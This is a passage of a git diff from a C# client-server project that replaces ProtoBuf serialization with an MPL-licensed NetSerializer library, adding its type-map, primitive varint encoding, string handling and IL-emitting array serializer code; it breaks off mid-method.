Server/Core/ProtoBuf/Serializers/StringSerializer.cs delete mode 100644 Server/Core/ProtoBuf/Serializers/SubItemSerializer.cs delete mode 100644 Server/Core/ProtoBuf/Serializers/SurrogateSerializer.cs delete mode 100644 Server/Core/ProtoBuf/Serializers/SystemTypeSerializer.cs delete mode 100644 Server/Core/ProtoBuf/Serializers/TagDecorator.cs delete mode 100644 Server/Core/ProtoBuf/Serializers/TimeSpanSerializer.cs delete mode 100644 Server/Core/ProtoBuf/Serializers/TupleSerializer.cs delete mode 100644 Server/Core/ProtoBuf/Serializers/TypeSerializer.cs delete mode 100644 Server/Core/ProtoBuf/Serializers/UInt16Serializer.cs delete mode 100644 Server/Core/ProtoBuf/Serializers/UInt32Serializer.cs delete mode 100644 Server/Core/ProtoBuf/Serializers/UInt64Serializer.cs delete mode 100644 Server/Core/ProtoBuf/Serializers/UriDecorator.cs delete mode 100644 Server/Core/ProtoBuf/ServiceModel/ProtoBehaviorAttribute.cs delete mode 100644 Server/Core/ProtoBuf/ServiceModel/ProtoBehaviorExtensionElement.cs delete mode 100644 Server/Core/ProtoBuf/ServiceModel/ProtoEndpointBehavior.cs delete mode 100644 Server/Core/ProtoBuf/ServiceModel/ProtoOperationBehavior.cs delete mode 100644 Server/Core/ProtoBuf/ServiceModel/XmlProtoSerializer.cs delete mode 100644 Server/Core/ProtoBuf/SubItemToken.cs delete mode 100644 Server/Core/ProtoBuf/WireType.cs diff --git a/Client/Client.csproj b/Client/Client.csproj index a961b5a0..9ca65169 100644 --- a/Client/Client.csproj +++ b/Client/Client.csproj @@ -56,6 +56,17 @@ + + + + + + + + + + + @@ -164,13 +175,6 @@ - - - - - - - @@ -196,84 +200,6 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/Client/Core/NetSerializer/CodeGenContext.cs b/Client/Core/NetSerializer/CodeGenContext.cs new file mode 100644 index 00000000..00dcbc5d --- /dev/null +++ b/Client/Core/NetSerializer/CodeGenContext.cs @@ -0,0 +1,110 @@ +/* + * Copyright 2015 Tomi Valkeinen + * + * This Source Code Form is subject to the terms of the Mozilla Public + * License, v. 2.0. If a copy of the MPL was not distributed with this + * file, You can obtain one at http://mozilla.org/MPL/2.0/. + */ + +using System; +using System.Collections.Generic; +using System.Reflection; + +namespace xClient.Core.NetSerializer +{ + public sealed class TypeData + { + public TypeData(ushort typeID, IDynamicTypeSerializer serializer) + { + this.TypeID = typeID; + this.TypeSerializer = serializer; + + this.NeedsInstanceParameter = true; + } + + public TypeData(ushort typeID, MethodInfo writer, MethodInfo reader) + { + this.TypeID = typeID; + this.WriterMethodInfo = writer; + this.ReaderMethodInfo = reader; + + this.NeedsInstanceParameter = writer.GetParameters().Length == 3; + } + + public readonly ushort TypeID; + public bool IsGenerated { get { return this.TypeSerializer != null; } } + public readonly IDynamicTypeSerializer TypeSerializer; + public MethodInfo WriterMethodInfo; + public MethodInfo ReaderMethodInfo; + + public bool NeedsInstanceParameter { get; private set; } + } + + public sealed class CodeGenContext + { + readonly Dictionary m_typeMap; + + public CodeGenContext(Dictionary typeMap) + { + m_typeMap = typeMap; + + var td = m_typeMap[typeof(object)]; + this.SerializerSwitchMethodInfo = td.WriterMethodInfo; + this.DeserializerSwitchMethodInfo = td.ReaderMethodInfo; + } + + public MethodInfo SerializerSwitchMethodInfo { get; private set; } + public MethodInfo DeserializerSwitchMethodInfo { get; private set; } + + public MethodInfo GetWriterMethodInfo(Type type) + { + return m_typeMap[type].WriterMethodInfo; + } + + public MethodInfo GetReaderMethodInfo(Type type) + { + return m_typeMap[type].ReaderMethodInfo; + } + + public bool IsGenerated(Type type) + { + return m_typeMap[type].IsGenerated; + } + + public IDictionary TypeMap { get { return m_typeMap; } } + + bool CanCallDirect(Type type) + { + // We can call the (De)serializer method directly for: + // - Value types + // - Array types + // - Sealed types with static (De)serializer method, as the method will handle null + // Other reference types go through the (De)serializerSwitch + + bool direct; + + if (type.IsValueType || type.IsArray) + direct = true; + else if (type.IsSealed && IsGenerated(type) == false) + direct = true; + else + direct = false; + + return direct; + } + + public TypeData GetTypeData(Type type) + { + return m_typeMap[type]; + } + + public TypeData GetTypeDataForCall(Type type) + { + bool direct = CanCallDirect(type); + if (!direct) + type = typeof(object); + + return GetTypeData(type); + } + } +} diff --git a/Client/Core/NetSerializer/Helpers.cs b/Client/Core/NetSerializer/Helpers.cs new file mode 100644 index 00000000..0fab991e --- /dev/null +++ b/Client/Core/NetSerializer/Helpers.cs @@ -0,0 +1,89 @@ +/* + * Copyright 2015 Tomi Valkeinen + * + * This Source Code Form is subject to the terms of the Mozilla Public + * License, v. 2.0. If a copy of the MPL was not distributed with this + * file, You can obtain one at http://mozilla.org/MPL/2.0/. + */ + +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.IO; +using System.Linq; +using System.Reflection; +using System.Reflection.Emit; + +namespace xClient.Core.NetSerializer +{ + static class Helpers + { + public static readonly ConstructorInfo ExceptionCtorInfo = typeof(Exception).GetConstructor(BindingFlags.Public | BindingFlags.Instance, null, new Type[0], null); + + public static IEnumerable GetFieldInfos(Type type) + { + Debug.Assert(type.IsSerializable); + + var fields = type.GetFields(BindingFlags.Public | BindingFlags.NonPublic | BindingFlags.Instance | BindingFlags.DeclaredOnly) + .Where(fi => (fi.Attributes & FieldAttributes.NotSerialized) == 0) + .OrderBy(f => f.Name, StringComparer.Ordinal); + + if (type.BaseType == null) + { + return fields; + } + else + { + var baseFields = GetFieldInfos(type.BaseType); + return baseFields.Concat(fields); + } + } + + public static DynamicMethod GenerateDynamicSerializerStub(Type type) + { + var dm = new DynamicMethod("Serialize", null, + new Type[] { typeof(Serializer), typeof(Stream), type }, + typeof(Serializer), true); + + dm.DefineParameter(1, ParameterAttributes.None, "serializer"); + dm.DefineParameter(2, ParameterAttributes.None, "stream"); + dm.DefineParameter(3, ParameterAttributes.None, "value"); + + return dm; + } + + public static DynamicMethod GenerateDynamicDeserializerStub(Type type) + { + var dm = new DynamicMethod("Deserialize", null, + new Type[] { typeof(Serializer), typeof(Stream), type.MakeByRefType() }, + typeof(Serializer), true); + dm.DefineParameter(1, ParameterAttributes.None, "serializer"); + dm.DefineParameter(2, ParameterAttributes.None, "stream"); + dm.DefineParameter(3, ParameterAttributes.Out, "value"); + + return dm; + } + +#if GENERATE_DEBUGGING_ASSEMBLY + public static MethodBuilder GenerateStaticSerializerStub(TypeBuilder tb, Type type) + { + var mb = tb.DefineMethod("Serialize", MethodAttributes.Public | MethodAttributes.Static, null, + new Type[] { typeof(Serializer), typeof(Stream), type }); + mb.DefineParameter(1, ParameterAttributes.None, "serializer"); + mb.DefineParameter(2, ParameterAttributes.None, "stream"); + mb.DefineParameter(3, ParameterAttributes.None, "value"); + return mb; + } + + public static MethodBuilder GenerateStaticDeserializerStub(TypeBuilder tb, Type type) + { + var mb = tb.DefineMethod("Deserialize", MethodAttributes.Public | MethodAttributes.Static, null, + new Type[] { typeof(Serializer), typeof(Stream), type.MakeByRefType() }); + mb.DefineParameter(1, ParameterAttributes.None, "serializer"); + mb.DefineParameter(2, ParameterAttributes.None, "stream"); + mb.DefineParameter(3, ParameterAttributes.Out, "value"); + return mb; + } +#endif + } +} diff --git a/Client/Core/NetSerializer/ITypeSerializer.cs b/Client/Core/NetSerializer/ITypeSerializer.cs new file mode 100644 index 00000000..c84dffcf --- /dev/null +++ b/Client/Core/NetSerializer/ITypeSerializer.cs @@ -0,0 +1,49 @@ +/* + * Copyright 2015 Tomi Valkeinen + * + * This Source Code Form is subject to the terms of the Mozilla Public + * License, v. 2.0. If a copy of the MPL was not distributed with this + * file, You can obtain one at http://mozilla.org/MPL/2.0/. + */ + +using System; +using System.Collections.Generic; +using System.Reflection; +using System.Reflection.Emit; + +namespace xClient.Core.NetSerializer +{ + public interface ITypeSerializer + { + /// + /// Returns if this TypeSerializer handles the given type + /// + bool Handles(Type type); + + /// + /// Return types that are needed to serialize the given type + /// + IEnumerable GetSubtypes(Type type); + } + + public interface IStaticTypeSerializer : ITypeSerializer + { + /// + /// Get static methods used to serialize and deserialize the given type + /// + void GetStaticMethods(Type type, out MethodInfo writer, out MethodInfo reader); + } + + public interface IDynamicTypeSerializer : ITypeSerializer + { + /// + /// Generate code to serialize the given type + /// + void GenerateWriterMethod(Type type, CodeGenContext ctx, ILGenerator il); + + /// + /// Generate code to deserialize the given type + /// + void GenerateReaderMethod(Type type, CodeGenContext ctx, ILGenerator il); + } +} diff --git a/Client/Core/NetSerializer/Primitives.cs b/Client/Core/NetSerializer/Primitives.cs new file mode 100644 index 00000000..cbc382e7 --- /dev/null +++ b/Client/Core/NetSerializer/Primitives.cs @@ -0,0 +1,521 @@ +/* + * Copyright 2015 Tomi Valkeinen + * + * This Source Code Form is subject to the terms of the Mozilla Public + * License, v. 2.0. If a copy of the MPL was not distributed with this + * file, You can obtain one at http://mozilla.org/MPL/2.0/. + */ + +using System; +using System.IO; +using System.Reflection; +using System.Text; + +namespace xClient.Core.NetSerializer +{ + public static class Primitives + { + public static MethodInfo GetWritePrimitive(Type type) + { + return typeof(Primitives).GetMethod("WritePrimitive", + BindingFlags.Static | BindingFlags.Public | BindingFlags.ExactBinding, null, + new Type[] { typeof(Stream), type }, null); + } + + public static MethodInfo GetReaderPrimitive(Type type) + { + return typeof(Primitives).GetMethod("ReadPrimitive", + BindingFlags.Static | BindingFlags.Public | BindingFlags.ExactBinding, null, + new Type[] { typeof(Stream), type.MakeByRefType() }, null); + } + + static uint EncodeZigZag32(int n) + { + return (uint)((n << 1) ^ (n >> 31)); + } + + static ulong EncodeZigZag64(long n) + { + return (ulong)((n << 1) ^ (n >> 63)); + } + + static int DecodeZigZag32(uint n) + { + return (int)(n >> 1) ^ -(int)(n & 1); + } + + static long DecodeZigZag64(ulong n) + { + return (long)(n >> 1) ^ -(long)(n & 1); + } + + static uint ReadVarint32(Stream stream) + { + int result = 0; + int offset = 0; + + for (; offset < 32; offset += 7) + { + int b = stream.ReadByte(); + if (b == -1) + throw new EndOfStreamException(); + + result |= (b & 0x7f) << offset; + + if ((b & 0x80) == 0) + return (uint)result; + } + + throw new InvalidDataException(); + } + + static void WriteVarint32(Stream stream, uint value) + { + for (; value >= 0x80u; value >>= 7) + stream.WriteByte((byte)(value | 0x80u)); + + stream.WriteByte((byte)value); + } + + static ulong ReadVarint64(Stream stream) + { + long result = 0; + int offset = 0; + + for (; offset < 64; offset += 7) + { + int b = stream.ReadByte(); + if (b == -1) + throw new EndOfStreamException(); + + result |= ((long)(b & 0x7f)) << offset; + + if ((b & 0x80) == 0) + return (ulong)result; + } + + throw new InvalidDataException(); + } + + static void WriteVarint64(Stream stream, ulong value) + { + for (; value >= 0x80u; value >>= 7) + stream.WriteByte((byte)(value | 0x80u)); + + stream.WriteByte((byte)value); + } + + + public static void WritePrimitive(Stream stream, bool value) + { + stream.WriteByte(value ? (byte)1 : (byte)0); + } + + public static void ReadPrimitive(Stream stream, out bool value) + { + var b = stream.ReadByte(); + value = b != 0; + } + + public static void WritePrimitive(Stream stream, byte value) + { + stream.WriteByte(value); + } + + public static void ReadPrimitive(Stream stream, out byte value) + { + value = (byte)stream.ReadByte(); + } + + public static void WritePrimitive(Stream stream, sbyte value) + { + stream.WriteByte((byte)value); + } + + public static void ReadPrimitive(Stream stream, out sbyte value) + { + value = (sbyte)stream.ReadByte(); + } + + public static void WritePrimitive(Stream stream, char value) + { + WriteVarint32(stream, value); + } + + public static void ReadPrimitive(Stream stream, out char value) + { + value = (char)ReadVarint32(stream); + } + + public static void WritePrimitive(Stream stream, ushort value) + { + WriteVarint32(stream, value); + } + + public static void ReadPrimitive(Stream stream, out ushort value) + { + value = (ushort)ReadVarint32(stream); + } + + public static void WritePrimitive(Stream stream, short value) + { + WriteVarint32(stream, EncodeZigZag32(value)); + } + + public static void ReadPrimitive(Stream stream, out short value) + { + value = (short)DecodeZigZag32(ReadVarint32(stream)); + } + + public static void WritePrimitive(Stream stream, uint value) + { + WriteVarint32(stream, value); + } + + public static void ReadPrimitive(Stream stream, out uint value) + { + value = ReadVarint32(stream); + } + + public static void WritePrimitive(Stream stream, int value) + { + WriteVarint32(stream, EncodeZigZag32(value)); + } + + public static void ReadPrimitive(Stream stream, out int value) + { + value = DecodeZigZag32(ReadVarint32(stream)); + } + + public static void WritePrimitive(Stream stream, ulong value) + { + WriteVarint64(stream, value); + } + + public static void ReadPrimitive(Stream stream, out ulong value) + { + value = ReadVarint64(stream); + } + + public static void WritePrimitive(Stream stream, long value) + { + WriteVarint64(stream, EncodeZigZag64(value)); + } + + public static void ReadPrimitive(Stream stream, out long value) + { + value = DecodeZigZag64(ReadVarint64(stream)); + } + +#if !NO_UNSAFE + public static unsafe void WritePrimitive(Stream stream, float value) + { + uint v = *(uint*)(&value); + WriteVarint32(stream, v); + } + + public static unsafe void ReadPrimitive(Stream stream, out float value) + { + uint v = ReadVarint32(stream); + value = *(float*)(&v); + } + + public static unsafe void WritePrimitive(Stream stream, double value) + { + ulong v = *(ulong*)(&value); + WriteVarint64(stream, v); + } + + public static unsafe void ReadPrimitive(Stream stream, out double value) + { + ulong v = ReadVarint64(stream); + value = *(double*)(&v); + } +#else + public static void WritePrimitive(Stream stream, float value) + { + WritePrimitive(stream, (double)value); + } + + public static void ReadPrimitive(Stream stream, out float value) + { + double v; + ReadPrimitive(stream, out v); + value = (float)v; + } + + public static void WritePrimitive(Stream stream, double value) + { + ulong v = (ulong)BitConverter.DoubleToInt64Bits(value); + WriteVarint64(stream, v); + } + + public static void ReadPrimitive(Stream stream, out double value) + { + ulong v = ReadVarint64(stream); + value = BitConverter.Int64BitsToDouble((long)v); + } +#endif + + public static void WritePrimitive(Stream stream, DateTime value) + { + long v = value.ToBinary(); + WritePrimitive(stream, v); + } + + public static void ReadPrimitive(Stream stream, out DateTime value) + { + long v; + ReadPrimitive(stream, out v); + value = DateTime.FromBinary(v); + } + +#if NO_UNSAFE + public static void WritePrimitive(Stream stream, string value) + { + if (value == null) + { + WritePrimitive(stream, (uint)0); + return; + } + + var encoding = new UTF8Encoding(false, true); + + int len = encoding.GetByteCount(value); + + WritePrimitive(stream, (uint)len + 1); + + var buf = new byte[len]; + + encoding.GetBytes(value, 0, value.Length, buf, 0); + + stream.Write(buf, 0, len); + } + + public static void ReadPrimitive(Stream stream, out string value) + { + uint len; + ReadPrimitive(stream, out len); + + if (len == 0) + { + value = null; + return; + } + else if (len == 1) + { + value = string.Empty; + return; + } + + len -= 1; + + var encoding = new UTF8Encoding(false, true); + + var buf = new byte[len]; + + int l = 0; + + while (l < len) + { + int r = stream.Read(buf, l, (int)len - l); + if (r == 0) + throw new EndOfStreamException(); + l += r; + } + + value = encoding.GetString(buf); + } +#else + sealed class StringHelper + { + public StringHelper() + { + this.Encoding = new UTF8Encoding(false, true); + } + + public const int BYTEBUFFERLEN = 256; + public const int CHARBUFFERLEN = 128; + + Encoder m_encoder; + Decoder m_decoder; + + byte[] m_byteBuffer; + char[] m_charBuffer; + + public UTF8Encoding Encoding { get; private set; } + public Encoder Encoder { get { if (m_encoder == null) m_encoder = this.Encoding.GetEncoder(); return m_encoder; } } + public Decoder Decoder { get { if (m_decoder == null) m_decoder = this.Encoding.GetDecoder(); return m_decoder; } } + + public byte[] ByteBuffer { get { if (m_byteBuffer == null) m_byteBuffer = new byte[BYTEBUFFERLEN]; return m_byteBuffer; } } + public char[] CharBuffer { get { if (m_charBuffer == null) m_charBuffer = new char[CHARBUFFERLEN]; return m_charBuffer; } } + } + + [ThreadStatic] + static StringHelper s_stringHelper; + + public unsafe static void WritePrimitive(Stream stream, string value) + { + if (value == null) + { + WritePrimitive(stream, (uint)0); + return; + } + else if (value.Length == 0) + { + WritePrimitive(stream, (uint)1); + return; + } + + var helper = s_stringHelper; + if (helper == null) + s_stringHelper = helper = new StringHelper(); + + var encoder = helper.Encoder; + var buf = helper.ByteBuffer; + + int totalChars = value.Length; + int totalBytes; + + fixed (char* ptr = value) + totalBytes = encoder.GetByteCount(ptr, totalChars, true); + + WritePrimitive(stream, (uint)totalBytes + 1); + WritePrimitive(stream, (uint)totalChars); + + int p = 0; + bool completed = false; + + while (completed == false) + { + int charsConverted; + int bytesConverted; + + fixed (char* src = value) + fixed (byte* dst = buf) + { + encoder.Convert(src + p, totalChars - p, dst, buf.Length, true, + out charsConverted, out bytesConverted, out completed); + } + + stream.Write(buf, 0, bytesConverted); + + p += charsConverted; + } + } + + public static void ReadPrimitive(Stream stream, out string value) + { + uint totalBytes; + ReadPrimitive(stream, out totalBytes); + + if (totalBytes == 0) + { + value = null; + return; + } + else if (totalBytes == 1) + { + value = string.Empty; + return; + } + + totalBytes -= 1; + + uint totalChars; + ReadPrimitive(stream, out totalChars); + + var helper = s_stringHelper; + if (helper == null) + s_stringHelper = helper = new StringHelper(); + + var decoder = helper.Decoder; + var buf = helper.ByteBuffer; + char[] chars; + if (totalChars <= StringHelper.CHARBUFFERLEN) + chars = helper.CharBuffer; + else + chars = new char[totalChars]; + + int streamBytesLeft = (int)totalBytes; + + int cp = 0; + + while (streamBytesLeft > 0) + { + int bytesInBuffer = stream.Read(buf, 0, Math.Min(buf.Length, streamBytesLeft)); + if (bytesInBuffer == 0) + throw new EndOfStreamException(); + + streamBytesLeft -= bytesInBuffer; + bool flush = streamBytesLeft == 0 ? true : false; + + bool completed = false; + + int p = 0; + + while (completed == false) + { + int charsConverted; + int bytesConverted; + + decoder.Convert(buf, p, bytesInBuffer - p, + chars, cp, (int)totalChars - cp, + flush, + out bytesConverted, out charsConverted, out completed); + + p += bytesConverted; + cp += charsConverted; + } + } + + value = new string(chars, 0, (int)totalChars); + } +#endif + + public static void WritePrimitive(Stream stream, byte[] value) + { + if (value == null) + { + WritePrimitive(stream, (uint)0); + return; + } + + WritePrimitive(stream, (uint)value.Length + 1); + + stream.Write(value, 0, value.Length); + } + + static readonly byte[] s_emptyByteArray = new byte[0]; + + public static void ReadPrimitive(Stream stream, out byte[] value) + { + uint len; + ReadPrimitive(stream, out len); + + if (len == 0) + { + value = null; + return; + } + else if (len == 1) + { + value = s_emptyByteArray; + return; + } + + len -= 1; + + value = new byte[len]; + int l = 0; + + while (l < len) + { + int r = stream.Read(value, l, (int)len - l); + if (r == 0) + throw new EndOfStreamException(); + l += r; + } + } + } +} diff --git a/Client/Core/NetSerializer/Serializer.cs b/Client/Core/NetSerializer/Serializer.cs new file mode 100644 index 00000000..96f5f39f --- /dev/null +++ b/Client/Core/NetSerializer/Serializer.cs @@ -0,0 +1,254 @@ +/* + * Copyright 2015 Tomi Valkeinen + * + * This Source Code Form is subject to the terms of the Mozilla Public + * License, v. 2.0. If a copy of the MPL was not distributed with this + * file, You can obtain one at http://mozilla.org/MPL/2.0/. + */ + +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.IO; +using System.Linq; +using System.Reflection; +using System.Reflection.Emit; +using xClient.Core.NetSerializer.TypeSerializers; + +namespace xClient.Core.NetSerializer +{ + public class Serializer + { + Dictionary m_typeIDMap; + + delegate void SerializerSwitch(Serializer serializer, Stream stream, object ob); + delegate void DeserializerSwitch(Serializer serializer, Stream stream, out object ob); + + SerializerSwitch m_serializerSwitch; + DeserializerSwitch m_deserializerSwitch; + + static ITypeSerializer[] s_typeSerializers = new ITypeSerializer[] { + new ObjectSerializer(), + new PrimitivesSerializer(), + new ArraySerializer(), + new EnumSerializer(), + new DictionarySerializer(), + new GenericSerializer(), + }; + + ITypeSerializer[] m_userTypeSerializers; + + /// + /// Initialize NetSerializer + /// + /// Types to be (de)serialized + public Serializer(IEnumerable rootTypes) + : this(rootTypes, new ITypeSerializer[0]) + { + } + + /// + /// Initialize NetSerializer + /// + /// Types to be (de)serialized + /// Array of custom serializers + public Serializer(IEnumerable rootTypes, ITypeSerializer[] userTypeSerializers) + { + if (userTypeSerializers.All(s => s is IDynamicTypeSerializer || s is IStaticTypeSerializer) == false) + throw new ArgumentException("TypeSerializers have to implement IDynamicTypeSerializer or IStaticTypeSerializer"); + + m_userTypeSerializers = userTypeSerializers; + + var typeDataMap = GenerateTypeData(rootTypes); + + GenerateDynamic(typeDataMap); + + m_typeIDMap = typeDataMap.ToDictionary(kvp => kvp.Key, kvp => kvp.Value.TypeID); + +#if GENERATE_DEBUGGING_ASSEMBLY + // Note: GenerateDebugAssembly overwrites some fields from typeDataMap + GenerateDebugAssembly(typeDataMap); +#endif + } + + public void Serialize(Stream stream, object data) + { + m_serializerSwitch(this, stream, data); + } + + public object Deserialize(Stream stream) + { + object o; + m_deserializerSwitch(this, stream, out o); + return o; + } + + Dictionary GenerateTypeData(IEnumerable rootTypes) + { + var map = new Dictionary(); + var stack = new Stack(PrimitivesSerializer.GetSupportedTypes().Concat(rootTypes)); + + stack.Push(typeof(object)); + + // TypeID 0 is reserved for null + ushort typeID = 1; + + while (stack.Count > 0) + { + var type = stack.Pop(); + + if (map.ContainsKey(type)) + continue; + + if (type.IsAbstract || type.IsInterface) + continue; + + if (type.ContainsGenericParameters) + throw new NotSupportedException(String.Format("Type {0} contains generic parameters", type.FullName)); + + var serializer = m_userTypeSerializers.FirstOrDefault(h => h.Handles(type)); + + if (serializer == null) + serializer = s_typeSerializers.FirstOrDefault(h => h.Handles(type)); + + if (serializer == null) + throw new NotSupportedException(String.Format("No serializer for {0}", type.FullName)); + + foreach (var t in serializer.GetSubtypes(type)) + stack.Push(t); + + TypeData typeData; + + if (serializer is IStaticTypeSerializer) + { + var sts = (IStaticTypeSerializer)serializer; + + MethodInfo writer; + MethodInfo reader; + + sts.GetStaticMethods(type, out writer, out reader); + + Debug.Assert(writer != null && reader != null); + + typeData = new TypeData(typeID++, writer, reader); + + } + else if (serializer is IDynamicTypeSerializer) + { + var dts = (IDynamicTypeSerializer)serializer; + + typeData = new TypeData(typeID++, dts); + } + else + { + throw new Exception(); + } + + map[type] = typeData; + } + + return map; + } + + void GenerateDynamic(Dictionary map) + { + /* generate stubs */ + foreach (var kvp in map) + { + var type = kvp.Key; + var td = kvp.Value; + + if (!td.IsGenerated) + continue; + + td.WriterMethodInfo = Helpers.GenerateDynamicSerializerStub(type); + td.ReaderMethodInfo = Helpers.GenerateDynamicDeserializerStub(type); + } + + var ctx = new CodeGenContext(map); + + /* generate bodies */ + + foreach (var kvp in map) + { + var type = kvp.Key; + var td = kvp.Value; + + if (!td.IsGenerated) + continue; + + var writerDm = (DynamicMethod)td.WriterMethodInfo; + td.TypeSerializer.GenerateWriterMethod(type, ctx, writerDm.GetILGenerator()); + + var readerDm = (DynamicMethod)td.ReaderMethodInfo; + td.TypeSerializer.GenerateReaderMethod(type, ctx, readerDm.GetILGenerator()); + } + + var writer = (DynamicMethod)ctx.GetWriterMethodInfo(typeof(object)); + var reader = (DynamicMethod)ctx.GetReaderMethodInfo(typeof(object)); + + m_serializerSwitch = (SerializerSwitch)writer.CreateDelegate(typeof(SerializerSwitch)); + m_deserializerSwitch = (DeserializerSwitch)reader.CreateDelegate(typeof(DeserializerSwitch)); + } + +#if GENERATE_DEBUGGING_ASSEMBLY + static void GenerateDebugAssembly(Dictionary map) + { + var ab = AppDomain.CurrentDomain.DefineDynamicAssembly(new AssemblyName("NetSerializerDebug"), AssemblyBuilderAccess.RunAndSave); + var modb = ab.DefineDynamicModule("NetSerializerDebug.dll"); + var tb = modb.DefineType("NetSerializer", TypeAttributes.Public); + + /* generate stubs */ + foreach (var kvp in map) + { + var type = kvp.Key; + var td = kvp.Value; + + if (!td.IsGenerated) + continue; + + td.WriterMethodInfo = Helpers.GenerateStaticSerializerStub(tb, type); + td.ReaderMethodInfo = Helpers.GenerateStaticDeserializerStub(tb, type); + } + + var ctx = new CodeGenContext(map); + + /* generate bodies */ + + foreach (var kvp in map) + { + var type = kvp.Key; + var td = kvp.Value; + + if (!td.IsGenerated) + continue; + + var writerMb = (MethodBuilder)td.WriterMethodInfo; + td.TypeSerializer.GenerateWriterMethod(type, ctx, writerMb.GetILGenerator()); + + var readerMb = (MethodBuilder)td.ReaderMethodInfo; + td.TypeSerializer.GenerateReaderMethod(type, ctx, readerMb.GetILGenerator()); + } + + tb.CreateType(); + ab.Save("NetSerializerDebug.dll"); + } +#endif + + /* called from the dynamically generated code */ + ushort GetTypeID(object ob) + { + ushort id; + + if (ob == null) + return 0; + + var type = ob.GetType(); + + if (m_typeIDMap.TryGetValue(type, out id) == false) + throw new InvalidOperationException(String.Format("Unknown type {0}", type.FullName)); + + return id; + } + } +} diff --git a/Client/Core/NetSerializer/TypeSerializers/ArraySerializer.cs b/Client/Core/NetSerializer/TypeSerializers/ArraySerializer.cs new file mode 100644 index 00000000..4abf355e --- /dev/null +++ b/Client/Core/NetSerializer/TypeSerializers/ArraySerializer.cs @@ -0,0 +1,193 @@ +/* + * Copyright 2015 Tomi Valkeinen + * + * This Source Code Form is subject to the terms of the Mozilla Public + * License, v. 2.0. If a copy of the MPL was not distributed with this + * file, You can obtain one at http://mozilla.org/MPL/2.0/. + */ + +using System; +using System.Collections.Generic; +using System.Reflection.Emit; + +namespace xClient.Core.NetSerializer.TypeSerializers +{ + class ArraySerializer : IDynamicTypeSerializer + { + public bool Handles(Type type) + { + if (!type.IsArray) + return false; + + if (type.GetArrayRank() != 1) + throw new NotSupportedException(String.Format("Multi-dim arrays not supported: {0}", type.FullName)); + + return true; + } + + public IEnumerable GetSubtypes(Type type) + { + yield return type.GetElementType(); + } + + public void GenerateWriterMethod(Type type, CodeGenContext ctx, ILGenerator il) + { + var elemType = type.GetElementType(); + + var notNullLabel = il.DefineLabel(); + + il.Emit(OpCodes.Ldarg_2); + il.Emit(OpCodes.Brtrue_S, notNullLabel); + + // if value == null, write 0 + il.Emit(OpCodes.Ldarg_1); + il.Emit(OpCodes.Ldc_I4_0); + il.Emit(OpCodes.Tailcall); + il.Emit(OpCodes.Call, ctx.GetWriterMethodInfo(typeof(uint))); + il.Emit(OpCodes.Ret); + + il.MarkLabel(notNullLabel); + + // write array len + 1 + il.Emit(OpCodes.Ldarg_1); + il.Emit(OpCodes.Ldarg_2); + il.Emit(OpCodes.Ldlen); + il.Emit(OpCodes.Ldc_I4_1); + il.Emit(OpCodes.Add); + il.Emit(OpCodes.Call, ctx.GetWriterMethodInfo(typeof(uint))); + + // declare i + var idxLocal = il.DeclareLocal(typeof(int)); + + // i = 0 + il.Emit(OpCodes.Ldc_I4_0); + il.Emit(OpCodes.Stloc_S, idxLocal); + + var loopBodyLabel = il.DefineLabel(); + var loopCheckLabel = il.DefineLabel(); + + il.Emit(OpCodes.Br_S, loopCheckLabel); + + // loop body + il.MarkLabel(loopBodyLabel); + + var data = ctx.GetTypeDataForCall(elemType); + + if (data.NeedsInstanceParameter) + il.Emit(OpCodes.Ldarg_0); + + // write element at index i + il.Emit(OpCodes.Ldarg_1); + il.Emit(OpCodes.Ldarg_2); + il.Emit(OpCodes.Ldloc_S, idxLocal); + il.Emit(OpCodes.Ldelem, elemType); + + il.Emit(OpCodes.Call, data.WriterMethodInfo); + + // i = i + 1 + il.Emit(OpCodes.Ldloc_S, idxLocal); + il.Emit(OpCodes.Ldc_I4_1); + il.Emit(OpCodes.Add); + il.Emit(OpCodes.Stloc_S, idxLocal); + + il.MarkLabel(loopCheckLabel); + + // loop condition + il.Emit(OpCodes.Ldloc_S, idxLocal); + il.Emit(OpCodes.Ldarg_2); + il.Emit(OpCodes.Ldlen); + il.Emit(OpCodes.Conv_I4); + il.Emit(OpCodes.Clt); + il.Emit(OpCodes.Brtrue_S, loopBodyLabel); + + il.Emit(OpCodes.Ret); + } + + public void GenerateReaderMethod(Type type, CodeGenContext ctx, ILGenerator il) + { + var elemType = type.GetElementType(); + + var lenLocal = il.DeclareLocal(typeof(uint)); + + // read array len + il.Emit(OpCodes.Ldarg_1); + il.Emit(OpCodes.Ldloca_S, lenLocal); + il.Emit(OpCodes.Call, ctx.GetReaderMethodInfo(typeof(uint))); + + var notNullLabel = il.DefineLabel(); + + /* if len == 0, return null */ + il.Emit(OpCodes.Ldloc_S, lenLocal); + il.Emit(OpCodes.Brtrue_S, notNullLabel); + + il.Emit(OpCodes.Ldarg_2); + il.Emit(OpCodes.Ldnull); + il.Emit(OpCodes.Stind_Ref); + il.Emit(OpCodes.Ret); + + il.MarkLabel(notNullLabel); + + var arrLocal = il.DeclareLocal(type); + + // create new array with len - 1 + il.Emit(OpCodes.Ldloc_S, lenLocal); + il.Emit(OpCodes.Ldc_I4_1); + il.Emit(OpCodes.Sub); + il.Emit(OpCodes.Newarr, elemType); + il.Emit(OpCodes.Stloc_S, arrLocal); + + // declare i + var idxLocal = il.DeclareLocal(typeof(int)); + + // i = 0 + il.Emit(OpCodes.Ldc_I4_0); + il.Emit(OpCodes.Stloc_S, idxLocal); + + var loopBodyLabel = il.DefineLabel(); + var loopCheckLabel = il.DefineLabel(); + + il.Emit(OpCodes.Br_S, loopCheckLabel); + + // loop body + il.MarkLabel(loopBodyLabel); + + // read element to arr[i] + + var data = ctx.GetTypeDataForCall(elemType); + + if (data.NeedsInstanceParameter) + il.Emit(OpCodes.Ldarg_0); + + il.Emit(OpCodes.Ldarg_1); + il.Emit(OpCodes.Ldloc_S, arrLocal); + il.Emit(OpCodes.Ldloc_S, idxLocal); + il.Emit(OpCodes.Ldelema, elemType); + + il.Emit(OpCodes.Call, data.ReaderMethodInfo); + + // i = i + 1 + il.Emit(OpCodes.Ldloc_S, idxLocal); + il.Emit(OpCodes.Ldc_I4_1); + il.Emit(OpCodes.Add); + il.Emit(OpCodes.Stloc_S, idxLocal); + + il.MarkLabel(loopCheckLabel); + + // loop condition + il.Emit(OpCodes.Ldloc_S, idxLocal); + 